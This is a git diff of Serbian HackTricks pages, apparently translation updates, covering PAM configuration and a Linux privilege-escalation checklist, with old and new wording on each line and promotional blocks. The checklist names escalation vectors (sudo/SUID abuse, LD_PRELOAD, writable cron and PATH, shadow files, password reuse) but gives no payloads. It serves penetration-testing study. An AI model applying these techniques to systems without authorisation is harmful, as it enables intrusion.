* **Solaris i UNIX bazirani sistemi** obično koriste centralni konfiguracioni fajl smešten na lokaciji `/etc/pam.conf`. * **Solaris i UNIX-bazirani sistemi** obično koriste centralnu konfiguracionu datoteku smeštenu na `/etc/pam.conf`.
* **Linux sistemi** preferiraju pristup putem direktorijuma, čuvajući konfiguracije specifične za uslugu unutar `/etc/pam.d`. Na primer, konfiguracioni fajl za login uslugu se nalazi na lokaciji `/etc/pam.d/login`. * **Linux sistemi** preferiraju pristup putem direktorijuma, čuvajući konfiguracije specifične za uslugu unutar `/etc/pam.d`. Na primer, konfiguraciona datoteka za uslugu prijavljivanja se nalazi na `/etc/pam.d/login`.
Primer PAM konfiguracije za login uslugu može izgledati ovako: Primer PAM konfiguracije za uslugu prijavljivanja može izgledati ovako:
``` ```
auth required /lib/security/pam_securetty.so auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so auth required /lib/security/pam_nologin.so
@ -50,27 +51,27 @@ password required /lib/security/pam_ldap.so
password required /lib/security/pam_pwdb.so use_first_pass password required /lib/security/pam_pwdb.so use_first_pass
session required /lib/security/pam_unix_session.so session required /lib/security/pam_unix_session.so
``` ```
#### **PAM Upravljački Oblasti** #### **PAM upravljanje domenama**
Ove oblasti, ili grupe upravljanja, uključuju **auth**, **account**, **password**, i **session**, pri čemu svaka odgovara za različite aspekte procesa autentikacije i upravljanja sesijom: Ove domene, ili upravljačke grupe, uključuju **auth**, **account**, **password** i **session**, svaka odgovorna za različite aspekte procesa autentifikacije i upravljanja sesijama:
- **Auth**: Validira korisnički identitet, često tražeći unos lozinke. * **Auth**: Validira identitet korisnika, često tražeći lozinku.
- **Account**: Obradjuje proveru naloga, proveravajući uslove poput članstva u grupi ili vremenskih ograničenja. * **Account**: Rukuje verifikacijom naloga, proveravajući uslove kao što su članstvo u grupi ili ograničenja vremena.
- **Password**: Upravlja ažuriranjem lozinke, uključujući provere kompleksnosti ili prevenciju od rečničkih napada. * **Password**: Upravljanje ažuriranjima lozinki, uključujući provere složenosti ili prevenciju napada rečnikom.
- **Session**: Upravlja akcijama tokom početka ili kraja sesije servisa, kao što su montiranje direktorijuma ili postavljanje ograničenja resursa. * **Session**: Upravljanje radnjama tokom početka ili završetka sesije usluge, kao što su montiranje direktorijuma ili postavljanje ograničenja resursa.
#### **PAM Modul Kontrole** #### **PAM kontrola modula**
Kontrole određuju odgovor modula na uspeh ili neuspeh, utičući na celokupan proces autentikacije. Ove uključuju: Kontrole određuju odgovor modula na uspeh ili neuspeh, utičući na celokupni proces autentifikacije. Ove uključuju:
- **Required**: Neuspeh obaveznog modula rezultira konačnim neuspehom, ali tek nakon što su provereni svi sledeći moduli. * **Required**: Neuspeh obaveznog modula rezultira konačnim neuspehom, ali tek nakon što su svi naredni moduli provereni.
- **Requisite**: Odmah prekida proces u slučaju neuspeha. * **Requisite**: Odmah prekida proces u slučaju neuspeha.
- **Sufficient**: Uspeh zaobilazi ostale provere u istoj oblasti, osim ako neki sledeći modul ne uspe. * **Sufficient**: Uspeh zaobilazi ostale provere iste domene osim ako neki naredni modul ne ne uspe.
- **Optional**: Izaziva neuspeh samo ako je jedini modul u steku. * **Optional**: Uzrokuje neuspeh samo ako je jedini modul u steku.
#### Primer Scenarija #### Primer scenarija
U postavci sa više auth modula, proces prati strogi redosled. Ako modul `pam_securetty` utvrdi da je prijavni terminal neovlašćen, prijavljivanje kao root je blokirano, ali svi moduli se i dalje obrađuju zbog njegovog "required" statusa. Modul `pam_env` postavlja promenljive okoline, potencijalno pomažući korisničkom iskustvu. Moduli `pam_ldap` i `pam_unix` rade zajedno kako bi autentifikovali korisnika, pri čemu `pam_unix` pokušava da koristi prethodno unetu lozinku, poboljšavajući efikasnost i fleksibilnost u metodama autentikacije. U postavci sa više auth modula, proces prati strogi redosled. Ako `pam_securetty` modul pronađe da je terminal za prijavu neovlašćen, root prijave su blokirane, ali se svi moduli i dalje obrađuju zbog njegovog "required" statusa. `pam_env` postavlja promenljive okruženja, potencijalno pomažući u korisničkom iskustvu. Moduli `pam_ldap` i `pam_unix` rade zajedno na autentifikaciji korisnika, pri čemu `pam_unix` pokušava da koristi prethodno dostavljenu lozinku, poboljšavajući efikasnost i fleksibilnost u metodama autentifikacije.
### Reference ### Reference
@ -80,24 +81,25 @@ U postavci sa više auth modula, proces prati strogi redosled. Ako modul `pam_se
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-web**-om koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **ugroženi** od **malvera koji kradu informacije**. [**WhiteIntel**](https://whiteintel.io) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je neka kompanija ili njeni klijenti **kompromitovani** od strane **stealer malwares**.
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomverom koji proizilaze iz malvera koji kradu informacije. Njihov primarni cilj je borba protiv preuzimanja naloga i ransomware napada koji proizlaze iz malvera koji krade informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihov pretraživač **besplatno** na: Možete proveriti njihovu veb stranicu i isprobati njihov pretraživač **besplatno** na:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podrška HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,135 +1,137 @@
# Lista za proveru eskalacije privilegija na Linuxu # Checklist - Linux Privilege Escalation
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove! Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
**Hakerski uvidi**\ **Hakerski uvidi**\
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja Uključite se u sadržaj koji se bavi uzbuđenjem i izazovima hakovanja
**Vesti o hakovanju u realnom vremenu**\ **Vesti o hakovanju u realnom vremenu**\
Budite informisani o brzom svetu hakovanja kroz vesti i uvide u realnom vremenu Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
**Poslednje najave**\ **Najnovija obaveštenja**\
Ostanite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platformi Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platforme
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas! **Pridružite nam se na** [**Discordu**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
### **Najbolji alat za traženje vektora eskalacije privilegija na lokalnom Linux sistemu:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) ### **Najbolji alat za traženje Linux lokalnih vektora eskalacije privilegija:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
### [Informacije o sistemu](privilege-escalation/#system-information) ### [Informacije o sistemu](privilege-escalation/#system-information)
* [ ] Dobiti **informacije o OS-u** * [ ] Dobijte **informacije o OS-u**
* [ ] Proveriti [**PATH**](privilege-escalation/#path), da li postoji **pisiva fascikla**? * [ ] Proverite [**PATH**](privilege-escalation/#path), da li postoji **pisivačka fascikla**?
* [ ] Proveriti [**env promenljive**](privilege-escalation/#env-info), da li postoji osetljiv detalj? * [ ] Proverite [**env promenljive**](privilege-escalation/#env-info), da li postoji neka osetljiva informacija?
* [ ] Tražiti [**eksploate kernela**](privilege-escalation/#kernel-exploits) **korišćenjem skripti** (DirtyCow?) * [ ] Pretražite [**kernel exploite**](privilege-escalation/#kernel-exploits) **koristeći skripte** (DirtyCow?)
* [ ] **Proveriti** da li je [**verzija sudo-a ranjiva**](privilege-escalation/#sudo-version) * [ ] **Proverite** da li je [**sudo verzija** ranjiva](privilege-escalation/#sudo-version)
* [ ] [**Dmesg** provera neuspešne verifikacije potpisa](privilege-escalation/#dmesg-signature-verification-failed) * [ ] [**Dmesg** verifikacija potpisa nije uspela](privilege-escalation/#dmesg-signature-verification-failed)
* [ ] Više sistema enumeracija ([datum, statistika sistema, informacije o CPU-u, štampači](privilege-escalation/#more-system-enumeration)) * [ ] Više sistemskih informacija ([datum, sistemske statistike, cpu informacije, štampači](privilege-escalation/#more-system-enumeration))
* [ ] [Enumeracija više odbrana](privilege-escalation/#enumerate-possible-defenses) * [ ] [**Enumerisanje više odbrana**](privilege-escalation/#enumerate-possible-defenses)
### [Diskovi](privilege-escalation/#drives) ### [Diskovi](privilege-escalation/#drives)
* [ ] **Izlistati montirane** diskove * [ ] **Lista montiranih** diskova
* [ ] **Postoji li neki nemonitrani disk?** * [ ] **Da li postoji neki nemontirani disk?**
* [ ] **Postoje li kredencijali u fstab-u?** * [ ] **Da li postoje kredencijali u fstab?**
### [**Instalirani softveri**](privilege-escalation/#installed-software) ### [**Instalirani softver**](privilege-escalation/#installed-software)
* [ ] **Proveriti da li su** [**korisni softveri**](privilege-escalation/#useful-software) **instalirani** * [ ] **Proverite za** [**koristan softver**](privilege-escalation/#useful-software) **instaliran**
* [ ] **Proveriti da li su** [**ranjivi softveri**](privilege-escalation/#vulnerable-software-installed) **instalirani** * [ ] **Proverite za** [**ranjiv softver**](privilege-escalation/#vulnerable-software-installed) **instaliran**
### [Procesi](privilege-escalation/#processes) ### [Procesi](privilege-escalation/#processes)
* [ ] Da li se izvršava **nepoznat softver**? * [ ] Da li se neki **nepoznati softver pokreće**?
* [ ] Da li se neki softver izvršava sa **više privilegija nego što bi trebalo**? * [ ] Da li se neki softver pokreće sa **više privilegija nego što bi trebao**?
* [ ] Tražiti **eksploate pokrenutih procesa** (posebno verziju koja se izvršava). * [ ] Pretražite **exploite pokrenutih procesa** (posebno verziju koja se pokreće).
* [ ] Da li možete **modifikovati binarni fajl** nekog pokrenutog procesa? * [ ] Možete li **modifikovati binarni** fajl nekog pokrenutog procesa?
* [ ] **Pratiti procese** i proveriti da li se neki zanimljiv proces često izvršava. * [ ] **Pratite procese** i proverite da li se neki zanimljiv proces često pokreće.
* [ ] Da li možete **čitati** neku zanimljivu **memoriju procesa** (gde bi lozinke mogle biti sačuvane)? * [ ] Možete li **pročitati** neku zanimljivu **memoriju procesa** (gde bi lozinke mogle biti sačuvane)?
### [Zakazani/Cron poslovi?](privilege-escalation/#scheduled-jobs) ### [Zakazani/Cron poslovi?](privilege-escalation/#scheduled-jobs)
* [ ] Da li je [**PATH** ](privilege-escalation/#cron-path)modifikovan od strane nekog cron-a i možete u njega **pisati**? * [ ] Da li se [**PATH**](privilege-escalation/#cron-path) menja od strane nekog crona i možete li **pisati** u njega?
* [ ] Da li postoji [**zvezdica** ](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection)u cron poslu? * [ ] Da li postoji neki [**wildcard**](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection) u cron poslu?
* [ ] Da li se neki [**modifikovani skript** ](privilege-escalation/#cron-script-overwriting-and-symlink)izvršava ili se nalazi u **modifikovanoj fascikli**? * [ ] Da li se neki [**modifikovani skript**](privilege-escalation/#cron-script-overwriting-and-symlink) izvršava ili se nalazi u **modifikovanoj fascikli**?
* [ ] Da li ste primetili da se neki **skript** može ili se često [**izvršava** veoma **često**](privilege-escalation/#frequent-cron-jobs)? (svakih 1, 2 ili 5 minuta) * [ ] Da li ste otkrili da se neki **skript** može ili se izvršava [**veoma često**](privilege-escalation/#frequent-cron-jobs)? (svakih 1, 2 ili 5 minuta)
### [Servisi](privilege-escalation/#services) ### [Servisi](privilege-escalation/#services)
* [ ] Postoji li **pisiv .service** fajl? * [ ] Da li postoji neki **pisiv .service** fajl?
* [ ] Da li se izvršava neki **pisiv binarni fajl** putem **servisa**? * [ ] Da li postoji neki **pisiv binarni** fajl koji izvršava **servis**?
* [ ] Postoji li **pisiva fascikla u systemd PATH-u**? * [ ] Da li postoji neka **pisiva fascikla u systemd PATH**?
### [Tajmeri](privilege-escalation/#timers) ### [Tajmeri](privilege-escalation/#timers)
* [ ] Postoji li **pisiv tajmer**? * [ ] Da li postoji neki **pisiv tajmer**?
### [Soketi](privilege-escalation/#sockets) ### [Soketi](privilege-escalation/#sockets)
* [ ] Postoji li **pisiv .socket** fajl? * [ ] Da li postoji neki **pisiv .socket** fajl?
* [ ] Da li možete **komunicirati sa nekim socket-om**? * [ ] Možete li **komunicirati sa nekim soketom**?
* [ ] **HTTP soketi** sa zanimljivim informacijama? * [ ] **HTTP soketi** sa zanimljivim informacijama?
### [D-Bus](privilege-escalation/#d-bus) ### [D-Bus](privilege-escalation/#d-bus)
* [ ] Da li možete **komunicirati sa nekim D-Bus-om**? * [ ] Možete li **komunicirati sa nekim D-Bus**?
### [Mreža](privilege-escalation/#network) ### [Mreža](privilege-escalation/#network)
* [ ] Enumerisati mrežu da biste znali gde se nalazite * [ ] Enumerisanje mreže da znate gde se nalazite
* [ ] **Otvoriti portove kojima niste mogli pristupiti pre** dobijanja shell-a unutar mašine? * [ ] **Otvoreni portovi koje niste mogli da pristupite pre** nego što ste dobili shell unutar mašine?
* [ ] Da li možete **snifovati saobraćaj** koristeći `tcpdump`? * [ ] Možete li **sniff-ovati saobraćaj** koristeći `tcpdump`?
### [Korisnici](privilege-escalation/#users) ### [Korisnici](privilege-escalation/#users)
* [ ] Opšta enumeracija korisnika/grupa * [ ] Generička **enumeracija korisnika/grupa**
* [ ] Da li imate **veoma veliki UID**? Da li je **mašina** **ranjiva**? * [ ] Da li imate **veoma veliki UID**? Da li je **mašina** **ranjiva**?
* [ ] Da li možete [**eskalarirati privilegije zahvaljujući grupi**](privilege-escalation/interesting-groups-linux-pe/) kojoj pripadate? * [ ] Možete li [**eskalirati privilegije zahvaljujući grupi**](privilege-escalation/interesting-groups-linux-pe/) kojoj pripadate?
* [ ] **Podaci iz clipboard-a**? * [ ] **Podaci iz clipboard-a**?
* [ ] Politika lozinke? * [ ] Politika lozinki?
* [ ] Pokušajte da **koristite** svaku **poznatu lozinku** koju ste prethodno otkrili da biste se prijavili **sa svakim** mogućim **korisnikom**. Pokušajte se takođe prijaviti i bez lozinke. * [ ] Pokušajte da **koristite** svaku **poznatu lozinku** koju ste prethodno otkrili da se prijavite **sa svakim** mogućim **korisnikom**. Pokušajte da se prijavite i bez lozinke.
### [Pisiva putanja](privilege-escalation/#writable-path-abuses) ### [Pisivi PATH](privilege-escalation/#writable-path-abuses)
* [ ] Ako imate **prava za pisanje nad nekom fasciklom u PATH-u** možda ćete moći da eskalirate privilegije * [ ] Ako imate **privilegije pisanja nad nekom fasciklom u PATH-u** možda ćete moći da eskalirate privilegije
### [SUDO i SUID komande](privilege-escalation/#sudo-and-suid) ### [SUDO i SUID komande](privilege-escalation/#sudo-and-suid)
* [ ] Da li možete izvršiti **bilo koju komandu sa sudo-om**? Možete li je koristiti da **ČITATE, PIŠETE ili IZVRŠITE** bilo šta kao root? ([**GTFOBins**](https://gtfobins.github.io)) * [ ] Možete li izvršiti **bilo koju komandu sa sudo**? Možete li je koristiti da ČITATE, PIŠETE ili IZVRŠAVATE bilo šta kao root? ([**GTFOBins**](https://gtfobins.github.io))
* [ ] Da li postoji **eksploatabilna SUID binarna datoteka**? ([**GTFOBins**](https://gtfobins.github.io)) * [ ] Da li postoji neki **eksploatabilni SUID binarni**? ([**GTFOBins**](https://gtfobins.github.io))
* [ ] Da li su [**sudo komande ograničene** putanjom? možete li **zaobići** ograničenja](privilege-escalation/#sudo-execution-bypassing-paths)? * [ ] Da li su [**sudo** komande **ograničene** po **putanji**? Možete li **obići** ograničenja](privilege-escalation/#sudo-execution-bypassing-paths)?
* [ ] [**Sudo/SUID binarna datoteka bez navedene putanje**](privilege-escalation/#sudo-command-suid-binary-without-command-path)? * [ ] [**Sudo/SUID binarni bez naznačene putanje**](privilege-escalation/#sudo-command-suid-binary-without-command-path)?
* [ ] [**SUID binarna datoteka sa navedenom putanjom**](privilege-escalation/#suid-binary-with-command-path)? Zaobilaženje * [ ] [**SUID binarni koji naznačava putanju**](privilege-escalation/#suid-binary-with-command-path)? Obilaženje
* [ ] [**LD\_PRELOAD ranjivost**](privilege-escalation/#ld\_preload) * [ ] [**LD\_PRELOAD ranjivost**](privilege-escalation/#ld\_preload)
* [ ] [**Nedostatak .so biblioteke u SUID binarnoj datoteci**](privilege-escalation/#suid-binary-so-injection) iz pisive fascikle? * [ ] [**Nedostatak .so biblioteke u SUID binarnom**](privilege-escalation/#suid-binary-so-injection) iz pisive fascikle?
* [ ] [**SUDO tokeni dostupni**](privilege-escalation/#reusing-sudo-tokens)? [**Možete li kreirati SUDO token**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)? * [ ] [**SUDO tokeni dostupni**](privilege-escalation/#reusing-sudo-tokens)? [**Možete li kreirati SUDO token**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)?
* [ ] Da li možete [**čitati ili modifikovati sudoers fajlove**](privilege-escalation/#etc-sudoers-etc-sudoers-d)? * [ ] Možete li [**pročitati ili modifikovati sudoers fajlove**](privilege-escalation/#etc-sudoers-etc-sudoers-d)?
* [ ] Da li možete [**modifikovati /etc/ld.so.conf.d/**](privilege-escalation/#etc-ld-so-conf-d)? * [ ] Možete li [**modifikovati /etc/ld.so.conf.d/**](privilege-escalation/#etc-ld-so-conf-d)?
* [ ] [**OpenBSD DOAS**](privilege-escalation/#doas) komanda * [ ] [**OpenBSD DOAS**](privilege-escalation/#doas) komanda
### [Mogućnosti](privilege-escalation/#capabilities)
* [ ] Ima li bilo koji binarni fajl **neočekivanu mogućnost**? ### [Kapaciteti](privilege-escalation/#capabilities)
### [ACLs](privilege-escalation/#acls) * [ ] Da li neki binarni fajl ima neku **neočekivanu sposobnost**?
* [ ] Ima li bilo koji fajl **neočekivani ACL**? ### [ACL-ovi](privilege-escalation/#acls)
### [Otvorene sesije komandne linije](privilege-escalation/#open-shell-sessions) * [ ] Da li neki fajl ima neki **neočekivani ACL**?
### [Otvorene Shell sesije](privilege-escalation/#open-shell-sessions)
* [ ] **screen** * [ ] **screen**
* [ ] **tmux** * [ ] **tmux**
@ -137,60 +139,61 @@ Ostanite informisani o najnovijim nagradama za pronalaženje bagova i važnim a
### [SSH](privilege-escalation/#ssh) ### [SSH](privilege-escalation/#ssh)
* [ ] **Debian** [**OpenSSL Predvidljiv PRNG - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166) * [ ] **Debian** [**OpenSSL Predvidljiv PRNG - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166)
* [ ] [**SSH Interesantne vrednosti konfiguracije**](privilege-escalation/#ssh-interesting-configuration-values) * [ ] [**SSH Zanimljive konfiguracione vrednosti**](privilege-escalation/#ssh-interesting-configuration-values)
### [Interesantni fajlovi](privilege-escalation/#interesting-files) ### [Zanimljivi fajlovi](privilege-escalation/#interesting-files)
* [ ] **Profil fajlovi** - Čitanje osetljivih podataka? Pisanje za privesc? * [ ] **Profilni fajlovi** - Pročitajte osetljive podatke? Pišite za privesc?
* [ ] **passwd/shadow fajlovi** - Čitanje osetljivih podataka? Pisanje za privesc? * [ ] **passwd/shadow fajlovi** - Pročitajte osetljive podatke? Pišite za privesc?
* [ ] **Provera često interesantnih foldera** za osetljive podatke * [ ] **Proverite uobičajene zanimljive fascikle** za osetljive podatke
* [ ] **Čudna lokacija/vlasnički fajlovi,** do kojih možete pristupiti ili izmeniti izvršne fajlove * [ ] **Čudne lokacije/Owned fajlovi,** možda imate pristup ili možete da menjate izvršne fajlove
* [ ] **Izmenjeni** u poslednjih nekoliko minuta * [ ] **Modifikovani** u poslednjim minutima
* [ ] **Sqlite DB fajlovi** * [ ] **Sqlite DB fajlovi**
* [ ] **Skriveni fajlovi** * [ ] **Skriveni fajlovi**
* [ ] **Skripte/Binarni fajlovi u PATH-u** * [ ] **Skripte/Binari u PATH-u**
* [ ] **Web fajlovi** (šifre?) * [ ] **Web fajlovi** (lozinke?)
* [ ] **Backup-ovi**? * [ ] **Backup-i**?
* [ ] **Poznati fajlovi koji sadrže šifre**: Koristite **Linpeas** i **LaZagne** * [ ] **Poznati fajlovi koji sadrže lozinke**: Koristite **Linpeas** i **LaZagne**
* [ ] **Generička pretraga** * [ ] **Generička pretraga**
### [**Fajlovi za pisanje**](privilege-escalation/#writable-files) ### [**Pisivi fajlovi**](privilege-escalation/#writable-files)
* [ ] **Izmena Python biblioteke** za izvršavanje proizvoljnih komandi? * [ ] **Modifikujte python biblioteku** da izvršite proizvoljne komande?
* [ ] Možete li **izmeniti log fajlove**? Eksploatacija **Logtotten** * [ ] Možete li **modifikovati log fajlove**? **Logtotten** exploit
* [ ] Možete li **izmeniti /etc/sysconfig/network-scripts/**? Eksploatacija za Centos/Redhat * [ ] Možete li **modifikovati /etc/sysconfig/network-scripts/**? Centos/Redhat exploit
* [ ] Možete li [**pisati u ini, int.d, systemd ili rc.d fajlove**](privilege-escalation/#init-init-d-systemd-and-rc-d)? * [ ] Možete li [**pisati u ini, int.d, systemd ili rc.d fajlove**](privilege-escalation/#init-init-d-systemd-and-rc-d)?
### [**Drugi trikovi**](privilege-escalation/#other-tricks) ### [**Ostali trikovi**](privilege-escalation/#other-tricks)
* [ ] Možete li [**zloupotrebiti NFS za eskalaciju privilegija**](privilege-escalation/#nfs-privilege-escalation)? * [ ] Možete li [**zloupotrebiti NFS da eskalirate privilegije**](privilege-escalation/#nfs-privilege-escalation)?
* [ ] Da li treba da [**pobegnete iz restriktivne ljuske**](privilege-escalation/#escaping-from-restricted-shells)? * [ ] Da li treba da [**pobegnete iz restriktivnog shell-a**](privilege-escalation/#escaping-from-restricted-shells)?
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove! Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
**Hakerski uvidi**\ **Hakerski uvidi**\
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja Uključite se u sadržaj koji se bavi uzbuđenjem i izazovima hakovanja
**Vesti o hakovanju u realnom vremenu**\ **Vesti o hakovanju u realnom vremenu**\
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
**Poslednje najave**\ **Najnovija obaveštenja**\
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platforme Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platforme
Pridružite nam se na [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas! **Pridružite nam se na** [**Discordu**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od početnika do stručnjaka sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
